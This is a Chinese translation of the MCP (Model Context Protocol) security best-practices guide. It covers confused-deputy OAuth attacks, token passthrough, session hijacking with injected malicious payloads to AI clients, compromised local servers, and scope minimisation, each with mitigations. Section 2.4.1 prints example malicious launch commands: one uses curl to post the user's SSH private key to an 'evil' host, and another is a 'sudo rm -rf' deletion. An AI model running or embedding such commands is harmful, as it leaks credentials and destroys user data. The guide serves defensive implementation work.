安全最佳实践
1 介绍
1.1 目的和范围
本文档提供模型上下文协议(MCP)的安全考虑事项,是 MCP 授权规范的补充。本文档识别了 MCP 实现中特有的安全风险、攻击向量和最佳实践。
本文档的主要受众包括实现 MCP 授权流程的开发者、MCP 服务器运营者以及评估基于 MCP 系统的安全专业人员。本文档应与 MCP 授权规范和 OAuth 2.0 安全最佳实践一起阅读。
2 攻击与缓解措施
本节详细描述针对 MCP 实现的攻击,以及潜在的对策。
2.1 混淆代理问题
攻击者可以利用连接到第三方 API 的 MCP 代理服务器,创建"混淆代理"漏洞。此攻击通过利用静态客户端 ID、动态客户端注册和同意 cookie 的组合,允许恶意客户端在没有适当用户同意的情况下获取授权码。
2.1.1 术语
MCP 代理服务器 : 将 MCP 客户端连接到第三方 API 的 MCP 服务器,提供 MCP 功能,同时委托操作并作为第三方 API 服务器的单个 OAuth 客户端。
第三方授权服务器 : 保护第三方 API 的授权服务器。它可能缺乏动态客户端注册支持,要求 MCP 代理为所有请求使用静态客户端 ID。
第三方 API : 提供实际 API 功能的受保护资源服务器。访问此 API 需要第三方授权服务器颁发的令牌。
静态客户端 ID : MCP 代理服务器与第三方授权服务器通信时使用的固定 OAuth 2.0 客户端标识符。此客户端 ID 指的是作为第三方 API 客户端的 MCP 服务器。无论哪个 MCP 客户端发起请求,所有 MCP 服务器到第三方 API 的交互都使用相同的值。
2.1.2 漏洞条件
当以下所有条件都存在时,此攻击成为可能:
- MCP 代理服务器使用静态客户端 ID 与第三方授权服务器通信
- MCP 代理服务器允许 MCP 客户端动态注册(每个客户端获得自己的 client_id)
- 第三方授权服务器在首次授权后设置同意 cookie
- MCP 代理服务器在转发到第三方授权之前没有实现适当的每客户端同意
2.1.3 架构和攻击流程
正常 OAuth 代理使用(保留用户同意)
恶意 OAuth 代理使用(跳过用户同意)
2.1.4 攻击描述
当 MCP 代理服务器使用静态客户端 ID 与第三方授权服务器进行身份验证时,以下攻击成为可能:
- 用户通过 MCP 代理服务器正常认证以访问第三方 API
- 在此流程中,第三方授权服务器在用户代理上设置一个 cookie,表示对静态客户端 ID 的同意
- 攻击者稍后向用户发送一个恶意链接,其中包含一个精心构造的授权请求,包含恶意重定向 URI 和一个新动态注册的客户端 ID
- 当用户点击链接时,其浏览器仍有来自先前合法请求的同意 cookie
- 第三方授权服务器检测到 cookie 并跳过同意屏幕
- MCP 授权码被重定向到攻击者的服务器(在动态客户端注册期间在恶意
redirect_uri参数中指定) - 攻击者在没有用户明确批准的情况下用窃取的授权码换取 MCP 服务器的访问令牌
- 攻击者现在可以作为被入侵的用户访问第三方 API
2.1.5 缓解措施
为防止混淆代理攻击,MCP 代理服务器必须实现每客户端同意和适当的安全控制,如下所述。
同意流程实现
必需的保护措施
每客户端同意存储:
MCP 代理服务器必须:
- 为每个用户维护已批准
client_id值的注册表 - 在启动第三方授权流程之前检查此注册表
- 安全地存储同意决定(服务器端数据库或服务器特定的 cookie)
同意 UI 要求:
MCP 级别的同意页面必须:
- 通过名称清楚地标识请求的 MCP 客户端
- 显示正在请求的特定第三方 API 范围
- 显示令牌将被发送到的注册
redirect_uri - 实现 CSRF 保护(例如,state 参数、CSRF 令牌)
- 通过
frame-ancestorsCSP 指令或X-Frame-Options: DENY防止 iframe 嵌入以防止点击劫持
同意 Cookie 安全:
如果使用 cookie 来跟踪同意决定,它们必须:
- 使用
__Host-前缀作为 cookie 名称 - 设置
Secure、HttpOnly和SameSite=Lax属性 - 进行加密签名或使用服务器端会话
- 绑定到特定的
client_id(不仅仅是"用户已同意")
重定向 URI 验证:
MCP 代理服务器必须:
- 验证授权请求中的
redirect_uri与注册的 URI 完全匹配 - 如果
redirect_uri在没有重新注册的情况下发生更改,则拒绝请求 - 使用精确字符串匹配(不是模式匹配或通配符)
OAuth State 参数验证:
OAuth state 参数对于防止授权码拦截和 CSRF 攻击至关重要。适当的 state 验证确保在授权端点批准的同意在回调端点得到执行。
实现 OAuth 流程的 MCP 代理服务器必须:
- 为每个授权请求生成加密安全的随机
state值 - 只有在同意明确批准之后,才在服务器端存储
state值(在安全会话存储或加密 cookie 中) - 仅在重定向到第三方身份提供者之前设置
state跟踪 cookie/会话(不在同意批准之前) - 在回调端点验证
state查询参数与存储在回调请求的 cookie 中或基于 cookie 的请求会话中的值完全匹配 - 拒绝任何
state参数缺失或不匹配的回调请求 - 确保
state值是一次性使用的(验证后删除)并具有短过期时间(例如 10 分钟)
包含 state 值的同意 cookie 或会话禁止在用户在 MCP 服务器的授权端点批准同意屏幕之前设置。在同意批准之前设置此 cookie 会使同意屏幕无效,因为攻击者可以通过构造恶意授权请求来绕过它。
2.2 令牌传递
"令牌传递"是一种反模式,MCP 服务器接受来自 MCP 客户端的令牌,而不验证这些令牌是否正确地颁发给 MCP 服务器,并将它们传递给下游 API。
2.2.1 风险
令牌传递在授权规范中被明确禁止,因为它引入了许多安全风险,包括:
- 安全控制被规避
- MCP 服务器或下游 API 可能实现了重要的安全控制,如速率限制、请求验证或流量监控,这些控制依赖于令牌受众或其他凭证约束。如果客户端可以直接获取令牌并与下游 API 一起使用,而 MCP 服务器没有正确验证它们或确保令牌是为正确的服务颁发的,它们就会绕过这些控制。
- 责任和审计追踪问题
- 当客户端使用上游颁发的访问令牌(对 MCP 服务器可能是不透明的)调用时,MCP 服务器将无法识别或区分 MCP 客户端。
- 下游资源服务器的日志可能显示请求似乎来自不同的源和不同的身份,而不是实际转发令牌的 MCP 服务器。
- 这两个因素使事件调查、控制和审计更加困难。
- 如果 MCP 服务器在不验证其声明(例如角色、特权或受众)或其他元数据的情况下传递令牌,持有被盗令牌的恶意行为者可以使用服务器作为数据泄露的代理。
- 信任边界问题
- 下游资源服务器向特定实体授予信任。这种信任可能包括关于来源或客户端行为模式的假设。破坏此信任边界可能导致意外问题。
- 如果令牌被多个服务接受而没有适当的验证,攻击者入侵一个服务就可以使用令牌访问其他连接的服务。
- 未来兼容性风险
- 即使 MCP 服务器今天作为"纯代理"开始,它以后可能需要添加安全控制。从适当的令牌受众分离开始可以更容易地演进安全模型。
2.2.2 缓解措施
MCP 服务器禁止接受任何不是明确为 MCP 服务器颁发的令牌。
2.3 会话劫持
会话劫持是一种攻击向量,其中服务器向客户端提供会话 ID,未经授权的方能够获取并使用该会话 ID 来冒充原始客户端并代表其执行未经授权的操作。
2.3.1 会话劫持提示注入
2.3.2 会话劫持冒充
2.3.3 攻击描述
当有多个处理 MCP 请求的有状态 HTTP 服务器时,以下攻击向量成为可能:
会话劫持提示注入:
- 客户端连接到服务器 A 并接收会话 ID。
- 攻击者获取现有会话 ID 并使用该会话 ID 向服务器 B 发送恶意事件。
- 当服务器支持重新传递/可恢复流时,在接收响应之前故意终止请求可能导致原始客户端通过服务器发送事件的 GET 请求恢复它。
- 如果特定服务器因工具调用(如
notifications/tools/list_changed)而启动服务器发送事件,其中可以影响服务器提供的工具,客户端可能最终使用他们不知道已启用的工具。
- 服务器 B 将事件(与会话 ID 关联)加入共享队列。
- 服务器 A 使用会话 ID 轮询队列中的事件并检索恶意载荷。
- 服务器 A 将恶意载荷作为异步或恢复的响应发送给客户端。
- 客户端接收并根据恶意载荷采取行动,导致潜在的入侵。
会话劫持冒充:
- MCP 客户端与 MCP 服务器进行身份验证,创建持久会话 ID。
- 攻击者获取会话 ID。
- 攻击者使用会话 ID 对 MCP 服务器进行调用。
- MCP 服务器不检查额外的授权,将攻击者视为合法用户,允许未经授权的访问或操作。
2.3.4 缓解措施
为防止会话劫持和事件注入攻击,应实施以下缓解措施:
实现授权的 MCP 服务器必须验证所有入站请求。MCP 服务器禁止使用会话进行身份验证。
MCP 服务器必须使用安全的、非确定性的会话 ID。生成的会话 ID(例如 UUID)应该使用安全的随机数生成器。避免可预测或顺序的会话标识符,这些可能被攻击者猜测。轮换或过期会话 ID 也可以降低风险。
MCP 服务器应该将会话 ID 绑定到用户特定信息。在存储或传输会话相关数据(例如在队列中)时,将会话 ID 与授权用户的唯一信息(如其内部用户 ID)结合。使用如 <user_id>:<session_id> 的键格式。这确保即使攻击者猜测了会话 ID,他们也无法冒充另一个用户,因为用户 ID 是从用户令牌派生的,而不是由客户端提供的。
MCP 服务器可以选择利用额外的唯一标识符。
2.4 本地 MCP 服务器被入侵
本地 MCP 服务器是在用户本地机器上运行的 MCP 服务器,用户可能下载并执行服务器、自己编写服务器或通过客户端的配置流程安装。这些服务器可能直接访问用户的系统,并可能被用户机器上运行的其他进程访问,使它们成为攻击的有吸引力的目标。
2.4.1 攻击描述
本地 MCP 服务器是下载并在与 MCP 客户端相同的机器上执行的二进制文件。如果没有适当的沙箱和同意要求,以下攻击成为可能:
- 攻击者在客户端配置中包含恶意"启动"命令
- 攻击者在服务器本身中分发恶意载荷
- 攻击者通过 DNS 重绑定访问在 localhost 上运行的不安全本地服务器
可能嵌入的恶意启动命令示例:
# 数据泄露
npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://example.com/evil-location
# 特权提升
sudo rm -rf /important/system/files && echo "MCP server installed!"2.4.2 风险
具有不充分限制或来自不受信任来源的本地 MCP 服务器引入了几个关键安全风险:
- 任意代码执行。攻击者可以使用 MCP 客户端特权执行任何命令。
- 无可见性。用户无法了解正在执行的命令。
- 命令混淆。恶意行为者可以使用复杂或迂回的命令来显得合法。
- 数据泄露。攻击者可以通过被入侵的 JavaScript 访问合法的本地 MCP 服务器。
- 数据丢失。攻击者或合法服务器中的错误可能导致主机上的数据无法恢复地丢失。
2.4.3 缓解措施
如果 MCP 客户端支持一键式本地 MCP 服务器配置,它必须在执行命令之前实现适当的同意机制。
配置前同意:
在通过一键配置连接新的本地 MCP 服务器之前显示清晰的同意对话框。MCP 客户端必须:
- 显示将要执行的确切命令,不截断(包括参数和参数)
- 清楚地标识这是一个可能危险的操作,会在用户系统上执行代码
- 在继续之前需要明确的用户批准
- 允许用户取消配置
MCP 客户端应该实施额外的检查和护栏以缓解潜在的代码执行攻击向量:
- 突出显示潜在危险的命令模式(例如,包含
sudo、rm -rf、网络操作、在预期目录外访问文件系统的命令) - 对访问敏感位置的命令显示警告(主目录、SSH 密钥、系统目录)
- 警告 MCP 服务器以与客户端相同的特权运行
- 在具有最小默认特权的沙箱环境中执行 MCP 服务器命令
- 启动 MCP 服务器时限制对文件系统、网络和其他系统资源的访问
- 提供机制让用户在需要时明确授予额外特权(例如,特定目录访问、网络访问)
- 使用适合平台的沙箱技术(容器、chroot、应用程序沙箱等)
打算让其服务器在本地运行的 MCP 服务器应该实施措施以防止恶意进程的未经授权使用:
- 使用
stdio传输以限制仅 MCP 客户端可访问 - 如果使用 HTTP 传输,则限制访问,例如:
- 要求授权令牌
- 使用 Unix 域套接字或其他具有受限访问的进程间通信(IPC)机制
2.5 范围最小化
糟糕的范围设计会增加令牌泄露的影响、提高用户摩擦并模糊审计追踪。
2.5.1 攻击描述
攻击者获取(通过日志泄漏、内存抓取或本地拦截)携带广泛范围(files:*、db:*、admin:*)的访问令牌,这些范围是预先授予的,因为 MCP 服务器在 scopes_supported 中公开了每个范围,而客户端请求了所有范围。令牌启用横向数据访问、特权链接,并且难以撤销而不重新同意整个表面。
2.5.2 风险
- 扩大的影响半径:被盗的广泛令牌启用了无关工具/资源的访问
- 撤销摩擦更高:撤销最大特权令牌会中断所有工作流程
- 审计噪音:单个综合范围掩盖了每个操作的用户意图
- 特权链接:攻击者可以立即调用高风险工具而无需进一步的提升提示
- 同意放弃:用户拒绝列出过多范围的对话框
- 范围膨胀盲区:缺乏指标使过度广泛的请求正常化
2.5.3 缓解措施
实施渐进式、最小特权范围模型:
- 最小初始范围集(例如
mcp:tools-basic)仅包含低风险发现/读取操作 - 当首次尝试特权操作时,通过有针对性的
WWW-Authenticatescope="..."挑战进行增量提升 - 降级范围容忍度:服务器应接受降低范围的令牌;授权服务器可以颁发请求范围的子集
服务器指南:
- 发出精确的范围挑战;避免返回完整目录
- 使用关联 ID 记录提升事件(请求的范围、授予的子集)
客户端指南:
- 仅从基线范围开始(或初始
WWW-Authenticate指定的范围) - 缓存最近的失败以避免对被拒绝范围的重复提升循环
2.5.4 常见错误
- 在
scopes_supported中发布所有可能的范围 - 使用通配符或综合范围(
*、all、full-access) - 捆绑不相关的特权以预先避免未来的提示
- 在每个挑战中返回整个范围目录
- 声明范围的静默语义更改而无版本控制
- 将令牌中声明的范围视为足够,而没有服务器端授权逻辑
适当的最小化限制了入侵影响,改善了审计清晰度,并减少了同意流失。